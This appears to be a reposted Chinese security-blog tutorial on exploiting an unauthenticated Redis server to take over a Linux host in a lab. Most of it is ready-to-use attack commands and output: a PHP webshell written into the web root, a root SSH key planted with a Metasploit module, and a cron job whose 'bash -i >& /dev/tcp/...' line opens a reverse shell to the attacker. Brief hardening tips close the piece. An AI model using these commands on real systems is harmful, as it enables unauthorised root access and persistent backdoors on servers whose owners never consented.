轻松渗透linux之利用 redis 提权 – 作者:德慎思信息安全

利用 redis 提权与防范

图片[1]-轻松渗透linux之利用 redis 提权 – 作者:德慎思信息安全-安全小百科本文采写目的仅作为信息安全学习与交流之用,凡经由传播或利用此文提供之信息所造成的任何直接或间接后果及损失,均由使用者本人负责

当下 redis 已经成为业界最流行的 KV 类型数据库,为企业提供高速缓存、 消息队列服务;被部署在企业 IT架构最重要的的位置。

图片[2]-轻松渗透linux之利用 redis 提权 – 作者:德慎思信息安全-安全小百科

以上数据来自 https://db-engines.com/en/ranking

漏洞介绍

作为使用最广泛的 KV 数据库,对 redis 的不恰当的配置,如绑定在 0.0.0.0:6379,将会导致 redis 服务暴露在公网上,如果在没有开启认证的情况下,可以导致做生意用户在可以访问目标服务器的情况下未授权访问 redis 以及读取 redis 的数据。

最严重的情况下,攻击者可以在未授权访问 redis 的情况下直接在服务器上写入 ssh 公钥,从而直接无密码登录服务器。

环境

  • 目标机 redhat6 – 192.168.153.146

  • 攻击机 kali2020 – 192.168.153.136

渗透目标

攻击机连接目标机redhat6,实现高权限访问

目标机环境

目标服务器启动以下服务

  • apache

  • redis

基本配置

# 安装 apache
[root@x ~]# yum install httpd
[root@x ~]# /etc/init.d/httpd start
[root@x ~]#
[root@x ~]#
[root@x html]# cd /var/www/html/
[root@x html]# touch index.html
[root@x html]# echo "<h1>hello redhat6</h1>" >> index.html

# 安装与配置 redis
# 下载 redis
[root@x ~]# wget http://download.redis.io/releases/redis-3.2.11.tar.gz
[root@x ~]# tar xzf redis-3.2.11.tar.gz

# 编译 redis
[root@x ~]# cd redis-3.2.11
[root@x ~]# make
[root@x redis-3.2.11]# cp src/redis-server src/redis-cli /usr/bin
[root@x redis-3.2.11]# cp redis-conf /etc/

[root@x redis-3.2.11]# vim /etc/redis.conf
# 127.0.0.1 # 注释掉些处,侦听所有地址
protected-mode no   # 禁用保护

# 清除系统设置, 减少对漏洞复现的影响
[root@x redis-3.2.11]# iptables -F
[root@x redis-3.2.11]# setenforce 0

# 启动 redis
[root@x redis-3.2.11]# redis-server /etc/redis.conf

管理员为了方便,比如在配置 redis 的 sentinel 集群时,为了方便关闭了保护模式,即上面的配置项protected-mode no,就不小心引入了安全问题

图片[3]-轻松渗透linux之利用 redis 提权 – 作者:德慎思信息安全-安全小百科

查看运行状态

图片[4]-轻松渗透linux之利用 redis 提权 – 作者:德慎思信息安全-安全小百科

启动 http

图片[5]-轻松渗透linux之利用 redis 提权 – 作者:德慎思信息安全-安全小百科

渗透测试

因为管理员的配置不当,导致的多种漏洞利用攻击方式

  • 利用方式一:直接写 webshell

  • 利用方式二:直接写 ssh 公钥

  • 利用方式三:计划任务后门

方式一:直接写 webshell

03:02:40 kali@kali ~ → redis
redis-benchmark redis-check-aof redis-check-rdb redis-cli       redis-server
03:02:40 kali@kali ~ → redis-cli -h 192.168.153.146
192.168.153.146:6379>
192.168.153.146:6379>
192.168.153.146:6379>
192.168.153.146:6379> keys *
(empty array)
192.168.153.146:6379> config set dbfilename phpinfo.php
OK
192.168.153.146:6379> CONFIG GET dir "/var/www/html"
(error) ERR Wrong number of arguments for CONFIG GET
192.168.153.146:6379>
192.168.153.146:6379> CONFIG SET dir "/var/www/html"
OK
192.168.153.146:6379> set phpinfo "\n\n <?php phpinfo();?> \n\n" NX
OK
192.168.153.146:6379> SAVE
OK
192.168.153.146:6379>

验证

图片[6]-轻松渗透linux之利用 redis 提权 – 作者:德慎思信息安全-安全小百科

方式二:直接写 ssh 公钥

利用了 msf 的辅助模块,直接上传 ssh 公钥

# 流程
04:00:21 root@kali ~ → msfconsole
msf5 > search redis

Matching Modules
================

# Name                                                     Disclosure Date Rank       Check Description
- ----                                                     --------------- ----       ----- -----------
0 auxiliary/gather/ibm_bigfix_sites_packages_enum           2019-03-18       normal     No     IBM BigFix Relay Server Sites and Package Enum
1 auxiliary/scanner/redis/file_upload                       2015-11-11       normal     No     Redis File Upload
2 auxiliary/scanner/redis/redis_login                                       normal     No     Redis Login Utility
3 auxiliary/scanner/redis/redis_server                                       normal     No     Redis Command Execute Scanner
4 exploit/linux/redis/redis_replication_cmd_exec           2018-11-13       good       Yes   Redis Replication Code Execution
5 exploit/windows/browser/ie_createobject                   2006-04-11       excellent No     MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution
6 exploit/windows/browser/ms07_017_ani_loadimage_chunksize 2007-03-28       great     No     Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
7 exploit/windows/browser/webex_ucf_newobject               2008-08-06       good       No     WebEx UCFatucfobj.dll ActiveX NewObject Method Buffer Overflow
8 exploit/windows/email/ms07_017_ani_loadimage_chunksize   2007-03-28       great     No     Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)


msf5 > use 1
msf5 auxiliary(scanner/redis/file_upload) > set rhosts 192.168.153.146
rhosts => 192.168.153.146
msf5 auxiliary(scanner/redis/file_upload) > set localfile /root/.ssh/authorized_keys
localfile => /root/.ssh/authorized_keys
msf5 auxiliary(scanner/redis/file_upload) > set remotefile /root/.ssh/authorized_keys
remotefile => /root/.ssh/authorized_keys
msf5 auxiliary(scanner/redis/file_upload) > options

Module options (auxiliary/scanner/redis/file_upload):

Name                   Current Setting             Required Description
----                   ---------------             -------- -----------
DISABLE_RDBCOMPRESSION true                       yes       Disable compression when saving if found tobe enabled
FLUSHALL               false                       yes       Run flushall to remove all redis data before saving
LocalFile               /root/.ssh/authorized_keys no       Local file to be uploaded
PASSWORD               foobared                   no       Redis password for authentication test
RHOSTS                 192.168.153.146             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT                   6379                       yes       The target port (TCP)
RemoteFile             /root/.ssh/authorized_keys no       Remote file path
THREADS                 1                           yes       The number of concurrent threads (max one per host)

msf5 auxiliary(scanner/redis/file_upload) > run
[+] 192.168.153.146:6379 - 192.168.153.146:6379 -- saved 564 bytes inside of redis DB at /root/.ssh/authorized_keys
[*] 192.168.153.146:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/redis/file_upload) >

验证

直接 ssh 登录

图片[7]-轻松渗透linux之利用 redis 提权 – 作者:德慎思信息安全-安全小百科

其实,msf 还集成了不同功能的辅助模块,在目标机防护脆弱的情况下,可以很方便的利用模块进行攻击。

如,对目标机 redis 的弱口令攻击,可以对 redis 的密码进行枚举

auxiliary/scanner/redis/redis_login 

再如,对取得的 redis 密码进行验证。

use auxiliary/scanner/redis/redis_server

感兴趣的朋友,可以尝试一下。

方式三:计划任务后门

流程

  1. 连接目标服务器

  2. 写计划任务

  3. 开启侦听

04:31:51 root@kali ~ → redis-cli -h 192.168.153.146
192.168.153.146:6379> set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.153.136/1122 0>&1\n\n\n\n"
OK
192.168.153.146:6379> CONFIG SET dir /etc/
OK
192.168.153.146:6379> CONFIG set dbfilename crontab
OK
192.168.153.146:6379> save
OK
192.168.153.146:6379>

本机开启侦听

图片[8]-轻松渗透linux之利用 redis 提权 – 作者:德慎思信息安全-安全小百科

防护建议

  1. 以低权限运行 redis 服务

  2. redis 启用严格的密码认证

  3. 禁止外网访问 redis 服务

参考

https://db-engines.com/en/ranking

https://help.aliyun.com/knowledge_detail/37447.html

深圳德慎思信息安全
专为金融、政府及企事业单位提供红队实战的安全测评服务,德慎思立足深圳放眼世界,紧抓中华民族复兴机遇,以科创为民的精神替中国在人类历史长河中的光辉一页贡献自身卓越技能。

来源:freebuf.com 2020-11-24 15:25:28 by: 德慎思信息安全

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论